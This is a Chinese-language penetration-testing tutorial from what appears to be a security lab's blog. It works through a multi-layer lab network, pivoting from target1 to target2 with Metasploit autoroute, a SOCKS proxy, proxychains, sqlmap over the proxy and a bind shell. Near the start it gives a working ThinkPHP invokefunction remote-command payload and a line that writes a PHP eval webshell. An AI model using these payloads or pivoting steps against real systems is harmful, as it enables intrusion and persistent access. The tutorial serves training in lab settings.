环境介绍
常规渗透
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
执行命令写入shell:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST['peiqi'])?>" > peiqi.php
成功写入shell
添加路由
按照渗透的流程来说,使用Kali攻击机对target1做信息收集之后通过80端口访问target1,寻找漏洞写入木马,蚁剑连接之后需要通过MSF拿到 target1的 meterpreter shell。在拿下target1主机之后,需要寻找下一层主机的信息
通过MSF的“run get_local_subnets”命令可以查看已拿下的target1主机的内网IP段情况
可以看到target1存在1.0/24和22.0/24两个网段。因为多层环境,所以一台机器上可能存在多个网段,在target1上发现多个网段,就证明存在另一个内网环境target2
这个时候会遇到第一个注意点--添加路由
因为Kali攻击机不能直接访问target2。我们想要访问到target2就需要target1当作跳板。众所周知,路由的作用就是连接不同的网络。不同网段之间通信的时候,通过查找路由表来判断下一跳指向从而发送IP包进行通信。不添加22.0/24路由的话,没有指向22.0/24网段的下一跳,就无法寻找到22.0/24网段
在target1这台主机上存在两个网段:192.168.1.0/24、192.168.22.0/24。kali攻击主机所在网段是1.0/24,渗透过程中我们是通过1.0/24这个网段突破进来的,建立会话也是建立在kali和target1共有的1.0/24网段上。如果kali攻击机想和22.0/24网段建立起连接,我们就需要在target1的路由表里面添加一条指向192.168.22.0/24网段的路由,这样kali主机就可以访问到22.0/24网段了
使用“run autoroute -s 192.168.22.0/24”添加路由后,“run autoroute -p”查看路由情况
为什么要添加路由的操作全部在kali上完成,是因为只有在kali上寻找到去往22.0/24、33.0/24网段的下一跳,数据报文才能够被发往下一个节点,也就是才能和22.0/24、33.0/24网段通信。即只要A能连接外网Z,B连接A,C连接B,这样依次类推,无论内网有多少层,只要设备相邻,都能够用A当做跳板根据路由表寻找下一跳所在的地址,进行访问
添加代理
添加路由之后,会遇到第二个注意点--添加代理
到现在为止,我们的访问受限于MSF监听会话,想要突破这层限制(也就是进行其他操作,比如扫描target2的端口啊,利用target2主机的漏洞上传木马啊等操作),就要开启一个代理。这个代理相当于开启一个接口,让外部(非target1,这里指的就是kali)能够不受MSF会话限制通过访问这个接口来访问target2
使用MSF自带的代理模块来完成代理:
另外需要修改kali主机的“/etc/proxychains4.conf”文件。在文件末尾修改成刚刚的配置信息
具体就是开启了一个socks代理,监听kali本地端口,将流量通过这个本地端口转发给MSF,MSF中有指向target2的路由,这样我们就可以使用其他工具对target2进行一些探测。事实上MSF中的msf6对应socks4,命令“use auxiliary/server/socks_proxy”使用代理模板。如果是msf5,就是“use auxiliary/server/socks4a”或者“use auxiliary/server/socks5”。版本不同使用的代理模板也不一样,使用错误会导致开启代理失败
代理开启之后,我们就可以通过代理对22网段的target2进行端口扫描等信息收集操作
反向后门
正向后门
sqlmap -u "http://192.168.22.xx/index.php?r=vul&keyword=1" --proxy=socks4://192.168.1.xx:2222 --current-db
拿到target1的meterpreter shell是进行了一个反向后门连接。但是如果这时候依旧使用反向后门连接就会发现,target2是无法连接到kali进行反弹shell的。但是因为target1这个跳板在,我们是可以连接到target2的,所以这里想要拿到target2的meterpreter shell,需要进行一个正向后门连接。也就是需要kali主动连接target2,在target2上开启监听等待kali连接
使用MSF生成正向马,上传到target2执行之后进行一个正向连接
获取target2的meterpreter shell之后,就像拿下target1一样,查看路由表,找到target3,对target3进行信息收集,根据收集到的信息查看突破口
工具推荐
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,戟星安全实验室及文章作者不为此承担任何责任。
戟星安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经戟星安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
戟星安全实验室
# 长按二维码 || 点击下方名片 关注我们 #